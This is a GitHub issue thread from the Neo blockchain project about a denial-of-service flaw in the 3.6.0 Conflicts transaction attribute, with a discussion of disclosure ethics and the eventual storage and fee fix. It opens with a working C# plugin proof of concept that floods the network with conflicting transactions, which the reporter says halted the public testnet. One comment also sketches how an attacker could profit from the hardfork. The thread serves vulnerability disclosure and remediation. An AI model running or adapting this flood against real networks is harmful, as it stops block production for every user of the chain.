Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

conflict attribute stops the network #2907

Closed
vang1ong7ang opened this issue Sep 15, 2023 · 78 comments · Fixed by #2913
Closed

conflict attribute stops the network #2907

vang1ong7ang opened this issue Sep 15, 2023 · 78 comments · Fixed by #2913

Comments

@vang1ong7ang
Copy link
Contributor

I think there may be some issues in transaction conflict checking introduced by neo 3.6.0.

anyone can make use of that and stop the entire network with little cost.

PoC:

  1. write a neo plugin like below and install it
  2. start neo-cli and type x, <enter>

(replace 4d369a56b3f9f949106f602429a83bfba5ecea4540febef0a893803c6c55d4bc to your secret key if you want)

(replace 1_675_0800 to the correct network fee if necessary)

(replace UInt256.Zero to any tx hash if you want)

using Akka.Actor;
using Neo.IO;
using Neo.Network.P2P.Payloads;
using System;
using System.Linq;
using Neo.ConsoleService;
using Neo.Wallets;
using Neo.SmartContract;
using Neo.VM;
using Neo.SmartContract.Native;
using System.Threading.Tasks;

namespace Neo.Plugins
{
    public class Conflict : Plugin
    {
        private KeyPair KP = new KeyPair("4d369a56b3f9f949106f602429a83bfba5ecea4540febef0a893803c6c55d4bc".HexToBytes());
        private NeoSystem NS;
        protected override void OnSystemLoaded(NeoSystem system) => NS = system;
        [ConsoleCommand("x")]
        async private void X()
        {
            Transaction tx = new Transaction
            {
                Version = 0,
                Nonce = 0,
                SystemFee = 0,
                NetworkFee = 1_675_0800,
                ValidUntilBlock = NativeContract.Ledger.CurrentIndex(NS.StoreView) + 1024,
                Script = new byte[] { ((byte)Neo.VM.OpCode.RET) },
                Attributes = new TransactionAttribute[] { new Conflicts { Hash = UInt256.Zero } },
            };

            await Task.Run(() =>
            {
                for (byte i = 0; i < 255; i++)
                    for (byte j = 0; j < 255; j++)
                        for (byte k = 0; k < 255; k++)
                            for (byte l = 0; l < 255; l++)
                            {
                                KeyPair[] kps = new KeyPair[] { KP }.Concat(Enumerable.Range(0, 14).Select(v => new byte[] { 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, i, j, k, l, (byte)v, 0, 0, 0, 0, 0, 0, 37 }).Select(v => new KeyPair(v))).ToArray();
                                tx.Signers = kps.Select(v => new Signer { Account = Contract.CreateSignatureContract(v.PublicKey).ScriptHash, Scopes = WitnessScope.None }).ToArray();
                                tx.Witnesses = kps.Select(v => new Witness { InvocationScript = new byte[] { ((byte)OpCode.PUSHDATA1), 64 }.Concat(tx.Sign(v, NS.Settings.Network)).ToArray(), VerificationScript = Contract.CreateSignatureContract(v.PublicKey).Script }).ToArray();
                                NS.LocalNode.Tell(new Network.P2P.LocalNode.SendDirectly { Inventory = tx });
                                Console.WriteLine($"TX SEND: {i}:{j}:{k}:{l}");
                            }
            });
        }
    }
}
@vang1ong7ang
Copy link
Contributor Author

a sample transaction sent is like https://testnet.neotube.io/transaction/0xfe03b9dfaa2b57735bfd2114a397941f303a295cff551fa41bdaf3b804e82295

@vang1ong7ang
Copy link
Contributor Author

the testnet n3t5 has already been paused for 90 mins because of those transactions at block https://testnet.neotube.io/block/2690040

@vncoelho
Copy link
Member

My friend @vang1ong7ang , it is good to have you here exploring this.

In fact, this PR was merged but I was still blocking it because I was worried about stopping the network with low costs attacks due to txs replacement on the memory pool.

I see that you used a similar strategy.

@vncoelho
Copy link
Member

Do you have a fix in mind?

@roman-khimov
Copy link
Contributor

IIUC, that'd be a limit for stored signers, should be sufficient.

@roman-khimov
Copy link
Contributor

It'd be nice to not break the testnet again though.

@vang1ong7ang
Copy link
Contributor Author

Do you have a fix in mind?

@vncoelho I don't have a fix yet but I support your point. the current tx replacement mechanism is risky.

we haven't fully determined what causes this. but I'm sure it's related to conflict attribute.

essentially by using different accounts to send the same conflict attribute, the blockchain will stop.

@vang1ong7ang
Copy link
Contributor Author

IIUC, that'd be a limit for stored signers, should be sufficient.

@roman-khimov I guess there are additional limitations elsewhere like stack item size or something else

@vncoelho
Copy link
Member

That is it,my friend.
Good find from you and your team as always.

I tried to warn before that this was a dangerous feature for mempool.
This feature, in my opinion, should be something for a native smart contracts.

If so, lets revert the PR for now and update nodes 3.6.0 with a patch.

@dusmart
Copy link

dusmart commented Sep 15, 2023

It'd be nice to not break the testnet again though.

Lol, we tried. By the way, single committee devnet could not be stopped by this method. thanks for https://github.com/AxLabs/neo3-privatenet-docker.

@roman-khimov
Copy link
Contributor

roman-khimov commented Sep 15, 2023

My bet is on the stored signers list (and btw, the behavior depends on machine), VM is not really involved here for anything. But the list can grow and just needs a limit.

Mempool is also safe wrt this, btw.

@vncoelho
Copy link
Member

But maybe there is a fix.
My worries were more related to transactions being sent and then replaced. Thus, a lot of burden would be caused on the mempool.

But the way you explored looks like a crash.
I can just check this further on next Monday.

@vncoelho
Copy link
Member

It'd be nice to not break the testnet again though.

Lol, we tried. By the way, single committee devnet could not be stopped by this method. thanks for https://github.com/AxLabs/neo3-privatenet-docker.

Maybe because of autoheal functions

@vang1ong7ang
Copy link
Contributor Author

vang1ong7ang commented Sep 15, 2023

But maybe there is a fix. My worries were more related to transactions being sent and then replaced. Thus, a lot of burden would be caused on the mempool.

But the way you explored looks like a crash. I can just check this further on next Monday.

I believe there will be better solutions on transaction replacement, even with little modification.

as you said, the current transaction replacement mechanism may even result in completely different memory pools for each (consensus) node, and it's even possible to stop the consensus. we haven't do the PoC yet, but in our mind, it's a possible attack.

@vang1ong7ang
Copy link
Contributor Author

My bet is on the stored signers list (and btw, the behavior depends on machine), VM is not really involved here for anything. But the list can grow and just needs a limit.

Mempool is also safe wrt this, btw.

I'm not sure but I feel, some StackItem limitation is trigged here.

@roman-khimov
Copy link
Contributor

it's even possible to stop the consensus

Nope. CNs can and often do have different mempools, it's completely OK. They will get missing transactions and conflicting mempooled transactions do not prevent that, only the proposed (PrepareRequest) list should be consistent. IIRC this was even discussed in #2818.

@shargon
Copy link
Member

shargon commented Sep 15, 2023

@vang1ong7ang This is not the most responsible way to communicate these kind of issues.

@roman-khimov
Copy link
Contributor

I'm not sure but I feel, some StackItem limitation is trigged here.

Sorry, I'm always forgetting C# node serializes many things a bit differently (via proper stack/stack items). This can be an issue. Likely Go nodes don't fail that quickly (at least until the list becomes insanely big).

@AnnaShaleva
Copy link
Member

AnnaShaleva commented Sep 15, 2023

Conflicting hashes are a part of the TransactionState structure:

engine.Snapshot.Add(CreateStorageKey(Prefix_Transaction).Add(tx.Transaction.Hash), new StorageItem(tx));
var conflictingSigners = tx.Transaction.Signers.Select(s => s.Account);
foreach (var attr in tx.Transaction.GetAttributes<Conflicts>())
{
var conflictRecord = engine.Snapshot.GetAndChange(CreateStorageKey(Prefix_Transaction).Add(attr.Hash),
() => new StorageItem(new TransactionState { ConflictingSigners = Array.Empty<UInt160>() })).GetInteroperable<TransactionState>();
conflictRecord.ConflictingSigners = conflictRecord.ConflictingSigners.Concat(conflictingSigners).Distinct().ToArray();
}

TransactionState is being serialized as a proper native Ledger storage item so technically it may be some size limitation exceeded:

if (Transaction is null) return new Struct(referenceCounter) { new VM.Types.Array(referenceCounter, ConflictingSigners.Select(u => new ByteString(u.ToArray())).ToArray()) };

I'm not sure but I feel, some StackItem limitation is trigged here.

So that may be true.

My bet is on the stored signers list (and btw, the behavior depends on machine), VM is not really involved here for anything.

And that may be true as far, because it requires intensive storage access.

But the list can grow and just needs a limit.

This would help, it would be a nice solution, just limit the possible number of conflicting hashes in the TransactionState structure and reject the new mempooled conflicting transactions (if any).

@dusmart
Copy link

dusmart commented Sep 15, 2023

Sorry, I'm always forgetting C# node serializes many things a bit differently (via proper stack/stack items).

There is indeed some inconsistency between C# (Fault) and golang (Halt).

curl 'http://seed1t5.neo.org:20332/' \
  -H 'content-type: application/json' \
  --data-raw '{"jsonrpc": "2.0","id": 1,"method": "invokescript","params": ["DCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHAHwwOZ2V0VHJhbnNhY3Rpb24MFL7yBDFANip3wVCZx+ZMEvcAtmXaQWJ9W1I="]}'
curl 'https://rpc.t5.n3.nspcc.ru:20331/' \ 
  -H 'content-type: application/json' \
  --data-raw '{"jsonrpc": "2.0","id": 1,"method": "invokescript","params": ["DCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHAHwwOZ2V0VHJhbnNhY3Rpb24MFL7yBDFANip3wVCZx+ZMEvcAtmXaQWJ9W1I="]}'

@vang1ong7ang
Copy link
Contributor Author

@vang1ong7ang This is not the most responsible way to communicate these kind of issues.

@shargon tell me the suggestions unless those suggestions brings additional works or troubles to us

@shargon
Copy link
Member

shargon commented Sep 15, 2023

@vang1ong7ang This is not the most responsible way to communicate these kind of issues.

@shargon tell me the suggestions unless those suggestions brings additional works or troubles to us

@vang1ong7ang You should never try any type of attack with the official testnet or mainnet, use your own private network, otherwise if it's confirmed, it could lead to a fork or worse still, that a third party abuses said attack and you are directly or indirectly responsible for its exploitation.

We have private chats for sharing sensitive information (#2950).

@vang1ong7ang
Copy link
Contributor Author

@shargon okay thanks for the kindly reminder.

I prefer public discussion if possible and unfortunately you should understand sometimes attack experiments have to appear on mainnet or testnet, although they are the last choice, especially because there is nothing like mainnet fork toolkit on neo.
But we are not willing to cause any damage on purpose and trying to avoid any kind of damage.

Private networks often do not provide good experimental conditions. and, to be honest, we have weak computer skills and it's really hard for us to prepare a testnet / mainnet like private network for neo.

the running version is 3.5.0 not the discussed 3.6.0, so it's harmless to discuss publicly.

It's not good to ask too much to a vulnerability reporter, otherwise, if reporters give up, if the bug could lead to a fork or worse still, that a third party abuses said attack and neo, you and other related devs are directly or indirectly responsible for its exploitation.

We do report bug in private channel, but only critical ones. (actually you don't know what has happend in the private channel since it's private)


actually there is weak security responding mechanism on neo. even private channel talks will result in public pull requests. black hackers should watch PRs, issues in the organization and millions of dollars are hiding inside them

BTW if some bad guys are observing the discussion on github NOW, he should make use of the hardfork of 3.5.0 and 3.6.0 NOW by pining a conflict state into a transaction and deposit his funds into binance in the same transaction and wait for the return back of his money when the upgrade comes

to take the responsibility, you should push to stop the upgrading before the fork is fixed.

@dusmart
Copy link

dusmart commented Sep 15, 2023

This is not the most responsible way to communicate these kind of issues.

tell me the suggestions unless those suggestions brings additional works or troubles to us

Those words really hurts. There is always better ways to submit a report. Likely, there is always better ways to do a hard-fork.

Developers don't like to add the hard-fork logics such as adding conflict attribute because of over burden and want to keep the code concise. Security researchers also don't like to build a full-function private net (with an explorer and to prove to all that the net is similar to testnet/mainnet) out of the same reason. When it comes to a really serious bug, he had indeed taken care of the overall situation.

NEO developers believe that no one will hack the mainnet using those hard-forks and the upgrade can be done easily with a re-sync. Security researchers also don't think others will replay this POC on testnet without earning any profit.

DISCLAIMER: Do not use any of the material presented here to cause harm. I will find out where you live, I will surprise you in your sleep and I will tickle you so hard that you will promise to behave until the end of your days. from Tanya

@vncoelho
Copy link
Member

vncoelho commented Sep 15, 2023

I am 100% aligned with @vang1ong7ang .
Furthermore, I have a strong respect for him and all his work on Neo Ecosystem. He has been responsible for the report of some critical issues, all done with 100% of responsibility.

Thus, the focus here is to solve the issue.
The first problem here was the hurry to merge the PR, and , as I said, I was still with a reject on it, @shargon .
Now, it is time to fix it or revert.

@shargon
Copy link
Member

shargon commented Sep 15, 2023

all done with 100% of responsibility.

In computer security, coordinated vulnerability disclosure (CVD, formerly known as responsible disclosure) is a vulnerability disclosure model in which a vulnerability or an issue is disclosed to the public only after the responsible parties have been allowed sufficient time to patch or remedy the vulnerability or issue.

https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure <- I could look up thousands of other examples if you want.

@vncoelho This is the first time I've seen denying service from a public network, as well as disclosing a security issue with the exploit so that anyone can continue to exploit it without fixing the problem, being treated as responsible. Let's exercise some judgment, please.

@vang1ong7ang
Copy link
Contributor Author

vang1ong7ang commented Sep 15, 2023

IIUC, coordinated vulnerability disclosure and full disclosure are all pratical ways.

coordinated disclosure is just a form of disclosure and I don't see how this it is related to whether I'm responsible. responsible disclosure is just a name and please do not regard it as a necessary and sufficient condition for responsibility

The form of disclosure chosen depends on our assessment of the vulnerability's damage. we're trying to find a way to improve efficiency and reduce the damage.

@shargon should always know, the version 3.6.0 is NOT in production (mainnet). it is currently in public testing stage. and DoS vulnerabilities are usually treated as medium level.

@roman-khimov
Copy link
Contributor

roman-khimov commented Sep 15, 2023

hard for us to prepare a testnet / mainnet like private network for neo.

We quite often do things with various types of nodes, both C# and Go. When we need some private network to experiment we usually take neo-bench and it creates one. It's built for completely different purpose originally (performance testing), but it just happens so that it has to create some proper running networks in the process. And it can do that for a single CN, four CNs, seven CNs, and even has scripts to create mixed setups (like 2 Go + 2 C# nodes).

It's not yet updated to 3.6, but it's not hard to do. And it can also build a C# node from the source code in the process (including any development branches if you like).

pining a conflict state into a transaction

It's not possible with 3.5.0.

push to stop the upgrading

No doubt, mainnet is not ready for 3.6. No doubt, the issue is serious. But I agree with @shargon that this public drama wasn't really required. It likely has affected ongoing hackathon for example, because people there are using testnet to try their projects. We had reported a number of various problems previously (I'm avoiding links this time, but there were some highly critical ones) without damaging any of the public networks. And obviously @shargon did the same multiple times. My expectation is that any white-hat hacker would do the same.

@EdgeDLT
Copy link

EdgeDLT commented Sep 19, 2023

I'm absolutely welcome to any alternative suggestions that solve the problem.

Feels like a Neo equivalent ERC-4337 solves this and a number of other issues we have, like #2577. It's what I was getting at in this comment.

The way I see it currently, this issue, NotaryService + #2907 (comment) isn't really far off ERC-4337 conceptually. Also makes it entirely opt-in for a consensus node to participate in any of it, which seems ideal considering the changes are affecting liveness.

There's no problem getting consensus nodes to have an equivalent view of transactions/bundles when the bundlers are being incentivized to provide them.

@shargon
Copy link
Member

shargon commented Sep 19, 2023

@AnnaShaleva what do you think about only write the sender, not all of the signers?

@vang1ong7ang
Copy link
Contributor Author

it's easy to expand the contract to support multi-signers.

Not so much. Consider #1573, this would limit the service to just one request at a time (because the notary contract is a signer for every request) rendering it useless.

do not confuse multi-signer transactions with multi-signer conflicts. I think these two problems can be solved independently.

I wouldn't care about the dust.

We care about it a lot. One of the features of #1573 is that it's much cheaper than any of the alternatives. This directly affects NeoFS withdrawals for example, either they cost some sane amount of GAS or not (currently the value is not-so-sane). And it works this way exactly because it doesn't leave any dust. The other problem we care about a lot is NeoFS sidechain load, we don't want 7 or 8 transactions to do something there, we want to have 1 that does whatever needs to be done.

by introducing proposer-builder separation or MEV bot mentioned by @EdgeDLT , the negotiation between the proposer and tx sender can be off-chain and the failed transaction can be filtered by the proposer.

@vang1ong7ang
Copy link
Contributor Author

UTXO resource lock by bitcoin and increment nonce counter by ethereum are both simple and efficient ways.

just as @shargon questioned:

what do you think about only write the sender, not all of the signers?

Is the multi signer conflict problem really necessary to be solved? it could be easily solved by introducing an intermediate contract based multisig agent wallet.

when you want to cancel / conflict / replace an existing transaction as soon as possible, a rational signer won't collect more than one signature since a single signature is enough to conflict with the existing one.

on the other hand, when you want a transaction can be easily canceled / conflicted / replaced by multiple partners, introducing an intermediate proxy account that any one of you is able to control is a workable solution.

it's not necessary to solve a non-existing situation that looks general.

@vang1ong7ang
Copy link
Contributor Author

@AnnaShaleva is a careful, rigorous and smart person that I admire very much. but dancing with shackles is difficult after all.

No matter how wonderful this implementation is, it cannot escape the situation of:

  • a 16-signers tx cannot be replaced
  • a 15-signers tx can at most be replaced once
  • a 14-signers tx can at most be replaced twice
    ...
  • a tx can at most be replaced 15 times

if the conflict fee is charged, the transaction replace fee grow by O(n) where n is the times of the tx being replaced.

@roman-khimov
Copy link
Contributor

equivalent ERC-4337

I know almost nothing about the E-letter chain, but some quick thoughts I had after glancing over it are:

  • E-chain has very limited account concept at the L1 layer, it's basically one key -- one account
  • contracts allow to solve it, have multisig, etc
  • Neo provides close to infinite abilities at L1 accounts thanks to verification scripts
  • when any non-trivial account is a contract, tying a bit more logic to these contracts makes sense
  • the part that decouples operations from transactions is in some ways reminiscent of System.Crypto.CheckData interop #2866 (but this one again is compatible with any Neo accounts)
  • it's interesting that they had to limit some functions to ensure that the operation can pay its fees. That's one of the key problems Network assistance for multisignature transaction forming #1573 solves and it doesn't limit anything, transactions can execute whatever scripts they want.

the negotiation between the proposer and tx sender can be off-chain and the failed transaction can be filtered by the proposer

Who is to pay for this filtering and in what manner? Otherwise it'll be abused.

Is the multi signer conflict problem really necessary to be solved?

Yes. #1573 relies on it (main transaction can be paid for by anyone, fallbacks are paid for by the Notary contract (out of predeposited GAS of course)).

No matter how wonderful this implementation is, it cannot escape the situation of

Absolutely true and attr+signers <= 16 is one of the strangest limitations of Neo for me for years (specifically the mix of attributes and signers into the same limit). But it never was a problem practically and can easily be changed if need be.

@EdgeDLT
Copy link

EdgeDLT commented Sep 19, 2023

Who is to pay for this filtering and in what manner? Otherwise it'll be abused.

The user pays. The bundler won't include an operation which doesn't pay their fee, and that fee could be paid in any token they choose to accept. The operation includes a nonce, so the user can re-submit it any number of times and simply increase the bounty to pay for the effort.

This mechanism also solves the problem of new Neo users being unable to transfer assets because they don't have enough GAS when sponsorship isn't available.

@roman-khimov
Copy link
Contributor

Looks like we're talking different use cases and different problems now.

@EdgeDLT
Copy link

EdgeDLT commented Sep 19, 2023

different use cases and different problems now

Respectfully disagree, though I'm biased. These are all the same problems, fundamental pain points with Neo that inhibit user and developer adoption. Who are we building for?

IMHO, Neo core has the issues of laser focus and bad prioritization. We solve the predominant issue of the moment, in isolation from the other issues, then move on to the next one. Throw in a hard fork or resync here and there, job done. There is no grand direction, so major pain points go unsolved for years, and the things we do solve often cause more pain later down the road. You have more examples than I do, I'm positive.

If we have an opportunity to solve many pain points on Neo in one go, it should merit serious consideration. Don't hand wave it and laser focus on "the solution to Conflict handling". It's laser focus that got us into this mess. We can't see the forest for the trees.

Transaction conflicts is a sort of okay example of a pain point Neo has, which makes a solution that addresses it relevant. And frankly, this particular pain point is incredibly niche compared to some of the others I've mentioned above. Again, who are we building for? How many of Neo's future users are going to use the Conflict attribute? A tiny fraction? How many would benefit from gas-free transfers, keyless accounts, social recovery? The millions we hope to onboard?

Neo provides close to infinite abilities at L1 accounts thanks to verification scripts

It's exactly as you said. Neo doesn't have that problem. We have verification scripts. We can just provide an interop for abstracted accounts, like #2866. It is a fantastic opportunity to enhance Neo's user and developer experience in a fundamental way. ERC-4337 is honestly quite bad, and it's because it's not part of the protocol. They have to deploy a contract for custom verification logic. Acquiring an "account abstracted" user = contract deployment fee.

It's the same quandary @melanke and myself are in right now. We have a custodial production application that must go non-custodial. Our only options are "cripple the user experience and onboarding power", or "pay 10 GAS to acquire every new user and still cripple the user experience." Only Neo core can change that.

@vang1ong7ang
Copy link
Contributor Author

I know almost nothing about the E-letter chain, but some quick thoughts I had after glancing over it are:

  • E-chain has very limited account concept at the L1 layer, it's basically one key -- one account
  • contracts allow to solve it, have multisig, etc
  • Neo provides close to infinite abilities at L1 accounts thanks to verification scripts
  • when any non-trivial account is a contract, tying a bit more logic to these contracts makes sense
  • the part that decouples operations from transactions is in some ways reminiscent of System.Crypto.CheckData interop #2866 (but this one again is compatible with any Neo accounts)
  • it's interesting that they had to limit some functions to ensure that the operation can pay its fees. That's one of the key problems Network assistance for multisignature transaction forming #1573 solves and it doesn't limit anything, transactions can execute whatever scripts they want.

the V-letter man cannot fully agree with those comments but i'm not going to be too far from the current topic.

@vang1ong7ang
Copy link
Contributor Author

Is the multi signer conflict problem really necessary to be solved?

Yes. #1573 relies on it (main transaction can be paid for by anyone, fallbacks are paid for by the Notary contract (out of predeposited GAS of course)).

I don't understand why #1573 have to rely on this. can you explain it in more detail? on both sufficiency and necessity.

@AnnaShaleva
Copy link
Member

AnnaShaleva commented Sep 20, 2023

what do you think about only write the sender, not all of the signers?

@shargon, it adds some unnecessary overhead to Conflicts attribute users. Because if the conflict is considered to be valid only in case if its sender matches the base transaction's sender, then users of Conflicts attribute will have to develop and manage extra workarounds, e.g. how @vang1ong7ang mentioned, they have to introduce some intermediate proxy contract to properly handle those situations where "the sender condition" can't be kept. It's possible to add this restriction, but I'm not in favor of this solution, because it will make the users' services more complicated. And now when we changed the storage scheme and added the price restriction, I don't think we need to afraid of the DB explosion or the node performance degradation anymore.

@roman-khimov
Copy link
Contributor

roman-khimov commented Sep 20, 2023

@EdgeDLT, I can agree with many points, but if we're to specifically concentrate on Conflicts then it's rather simple, it's an integral part of the #1573 solution. That can be used for other things, as noted in #1991. If we don't have it, we don't have #1573 solution (and #2577, and many other things, as I've said, with #1573 base real-time oracles can be built in a week), simple as that. If there is any other solution for #1573, I'm all ears. If we don't need it, OK, we'll keep it in the NeoFS sidechain (and will keep growing the extensions list) and let's just drop Conflicts in 3.6.1 (hi, #2914)

The thing is, I'm pretty open about problems we're interested in. They mostly come from NeoFS needs, because it's not just Neo that has NeoFS, it's NeoFS that has Neo inside as well. And usually we're ready to provide some solutions to these problems. That's why there are #1573, #1991, #2577, #2866, neo-project/proposals#156, neo-project/proposals#160 and some others. That's why #2905. If there are any problems with these solutions, we can either fix them or replace them.

Oh, there is also an option of not doing anything at all. Sorry, forgot about that.

@vang1ong7ang, please check #1573 (comment). We have a single main transaction that we want to complete there and N (like 7) fallbacks that all conflict with it. The only common signer between them is the Notary contract. It MUST NOT be the sender of the main transaction, it MUST be the sender of the fallback. They usually don't have any other common signer.

@vang1ong7ang
Copy link
Contributor Author

@AnnaShaleva

I'm not going to consist on my proposal because everyone has its own subjective preference.

I think #2913 does solve the original performance problem and it works.

let bosses make the decision and move on

@vang1ong7ang
Copy link
Contributor Author

@roman-khimov

Current solutions

Off-chain non-P2P collection

Either manual or using some additional network connectivity. Has an obvious downside of reliance on something external to the network. If it's manual, it's slow and error-prone, if it's automated, it requires additional protocol for all the parties involved. For the protocol used by oracle nodes that also means explicitly exposing nodes to each other.

On-chain collection

Can be done by a contract, but going through the chain for "M out of N" multsignature means that:

  • it can only be app-specific (meaning that for every use case this logic would be duplicated) because we can't create transactions from transactions (thus using proper multisignature account is not possible)
  • we need at least M transactions instead of one we really wanted to have, but in reality we'll create and process N of them, so this adds substantial overhead to the chain
  • some GAS is inevitably wasted because any invocation could either go the easy path (just adding a signature to the list) or really invoke the function we wanted to (when all signatures are in place), so test invocations don't really help and the user needs to add some GAS to all of these transactions

Originally posted by @roman-khimov in #1573 (comment)

I think the existing solutions are good enough. the shortcomings you stated do not hold true.

  • it's okay to build a STANDALONE service / protocol THAT HAS NO CONFLICT / ADDITIONAL FEATURE REQUEST WITH THE LAYER 1 NEO NETWORK to collect signatures offchain.
  • exposing nodes to each other is not unacceptable. that's how internet works.
  • neo’s smart contract is as powerful as ethereum's and the contract based multisig wallet is easy to build just like how Gnosis Safe works. I suggest you to take a look at Gnosis Safe and it has smooth user experience and works perfectly.
  • M sigs can be submit by a single transaction (gnosis safe collect the sigs offchain and submits all the sig together within a single transaction)
  • I suggest to see the forests instead of GAS dusts

@roman-khimov
Copy link
Contributor

@vang1ong7ang, we're obviously coming from different perspectives. If you can make something (Safe-alike or not) for Neo (with scopes and things), collect signatures in sub-block time --- be my guest. Just remember that NeoFS totally depends on multisignature collection and it's not that we need a service for a network, we need it for the main network, we need it for the sidechain, we need it for private networks, we need it everywhere. Keep in mind #2806 for the GAS dust as well.

@EdgeDLT
Copy link

EdgeDLT commented Sep 20, 2023

but if we're to specifically concentrate on Conflicts then it's rather simple, it's an integral part of the #1573 solution

If there is any other solution for #1573, I'm all ears

The approach I proposed includes #1573 functionality, just as it includes #2907, just as it includes (or rather, would rely on) #2866 or similar. P2P Notary role is basically the proposed bundler already, the only real difference is that it hasn't been generalized beyond the multi-sig use case!

Can we recognize that there's nothing new about the ideas and issues I've presented here. Most of them are scattered across existing issues, we've tagged many of them, probably most of them Neo SPCC suggested in the first place because they were relevant for NeoFS. So by no means am I asking you to drop what you need for NeoFS to work. I'm asking you to help find a way to extend the ideas already brought to the table in order to improve all the other applications while we're at it.

A unified solution is required because these problems are connected, we've just been treating them as separate. It comes down to the fact that we lack flexibility in how state updates can be pushed to the network. For NeoFS, you need practical multi-sig operations. For my application, I need to be able to let someone self-custody without requiring them to safeguard a private key or understand how to use a wallet. Any application on Neo requires an end user to have a GAS balance. These are all barriers that can disappear simultaneously if we just abstract them away thoughtfully.

I don't know Neo or the NeoGo extensions inside and out. I really wish I could give you a neatly wrapped proposal that addresses all the nuances of implementation. But I can't, it's beyond my ability today. So it's incredibly frustrating when I know the solution exists (I can use it right now elsewhere), and the only people that can make this a reality are seemingly disinterested, despite showing interest in the individual components alone.

Oh, there is also an option of not doing anything at all. Sorry, forgot about that.

Right... and my practical choices as the lead for GasBot are:

  1. Pay 30,000+ GAS to migrate our current users to contract wallets, then pay 10 GAS for each new one thereafter, and still have made everything about the app UX significantly worse
  2. Abandon Neo, move to Ethereum or an EVM L2 where the tools I need to avoid regulatory pressure have been made available
  3. Just give up and shut down what is arguably the most powerful new user onboarding application we have in the ecosystem

I'm asking you (Neo core) to give me a fourth option. I can't design it. All I can offer is perspective. I'm an astronaut, you are the rocket scientists. You know the engineering better than I ever will. Think I've said all I can on this topic. Please think it over.

@roman-khimov
Copy link
Contributor

P2P Notary role is basically the proposed bundler already, the only real difference is that it hasn't been generalized beyond the multi-sig use case!

We can think of extending it. At the moment it can do both multi-signature (multiple keys for a single signer) and multi-signer, given the signer flexibility of Neo that can solve a lot of things. But at the moment we don't have it in mainline Neo even in the original, transaction-related scope.

improve all the other applications while we're at it

I've said that most of our proposals come from direct NeoFS needs. But to be fair, we could've simplified many things (#1573 included) if they were absolutely NeoFS-specific (tune for the particular use case and be done with it or implement in NeoGo and forget about it). That would mean a substantially different (from mainline Neo) sidechain with zero possibility for convergence (and potentially more unknown problems like here). So we try thinking of more generic solutions that cover more scenarios than just NeoFS.

I need to be able to let someone self-custody without requiring them to safeguard a private key or understand how to use a wallet

Maybe we need to talk about it. To me it looks like most of your problems are #2577, but maybe I'm missing something. And in general I agree that any real feedback for any real dApp should be prioritized.

AnnaShaleva added a commit to nspcc-dev/neo-go that referenced this issue Sep 21, 2023
AnnaShaleva added a commit to nspcc-dev/neo-go that referenced this issue Sep 21, 2023
AnnaShaleva added a commit to nspcc-dev/neo-go that referenced this issue Sep 22, 2023
AnnaShaleva added a commit to nspcc-dev/neo-go that referenced this issue Sep 22, 2023
AnnaShaleva added a commit to nspcc-dev/neo-go that referenced this issue Sep 22, 2023
AnnaShaleva added a commit to nspcc-dev/neo-go that referenced this issue Oct 10, 2023
AnnaShaleva added a commit to nspcc-dev/neo-go that referenced this issue Oct 10, 2023
shargon added a commit that referenced this issue Nov 8, 2023
* Ledger: change conflict records storage scheme

This commit is a part of #2907: it implements conflict records storage scheme discribed
in #2907 (comment).

The short scheme description:

Do not store the list of conflicting signers in the Ledger's conflict record value.
Instead, put each conflicting signer in the conflict record key so that the
reculting key is: {Prefix_Transaction, <conflict hash>, <signer>}, and the value
is {<block index>}.

As an optimisation, for each conflict record store the dummy stub where the
key is {Prefix_Transaction, <conflict hash>} and the value is {<block index>}. This optimisation
allows to reduce DB read requests during newly-pooled transaction verification for
those transactions that do not have any on-chained conflicts.

Also, IsTraceableBlock check is added for on-chain conflicts verification. It is
needed to avoid situations when untraceable on-chained conflict affects the
newly-pooled transaction verification.

Signed-off-by: Anna Shaleva <[email protected]>

* UT_MemoryPool: remove unused test

Malicious_OnChain_Conflict was constructed incorrectly (see the comment in the end of
the test) and was replaced by the proper TestMaliciousOnChainConflict test in
UT_Blockchain.cs way back ago in
0c06c91.

Signed-off-by: Anna Shaleva <[email protected]>

* Policy: introduce fee for Conflicts attribute

This commit implements Conflicts attribute policy described in
#2907 (comment).

Signed-off-by: Anna Shaleva <[email protected]>

* *: remove remnants of ConflictsFee in native Policy

ConflictsFee logic was replaced by the generic attribute fee mechanism
implemented in #2916.

Signed-off-by: Anna Shaleva <[email protected]>

* Native: do not remove malicious conflict records during OnPersist

It's OK to keep them and save O(n) operations during OnPersist. The
storage taken by these malicious conflict records is properly paid
anyway. See the discussion under #2913 (comment).

Signed-off-by: Anna Shaleva <[email protected]>

* Properly rewrite previously added malicious conflict if it's in the storage

`engine.Snapshot.Add` doesn't allow to rewrite storage entity if it's already exist.
Thus, we firstly need to remove it and afterwards to add the updated entity.

Signed-off-by: Anna Shaleva <[email protected]>

* Throw proper exception if TestMaliciousOnChainConflict fails

Signed-off-by: Anna Shaleva <[email protected]>

* Optimize conflicts records storing

Use Snapshot.GetAndChange instead of subsequent calls to Delete and Add.
Ref. #2913 (comment).

Signed-off-by: Anna Shaleva <[email protected]>

---------

Signed-off-by: Anna Shaleva <[email protected]>
Co-authored-by: Shargon <[email protected]>
Co-authored-by: Jimmy <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

8 participants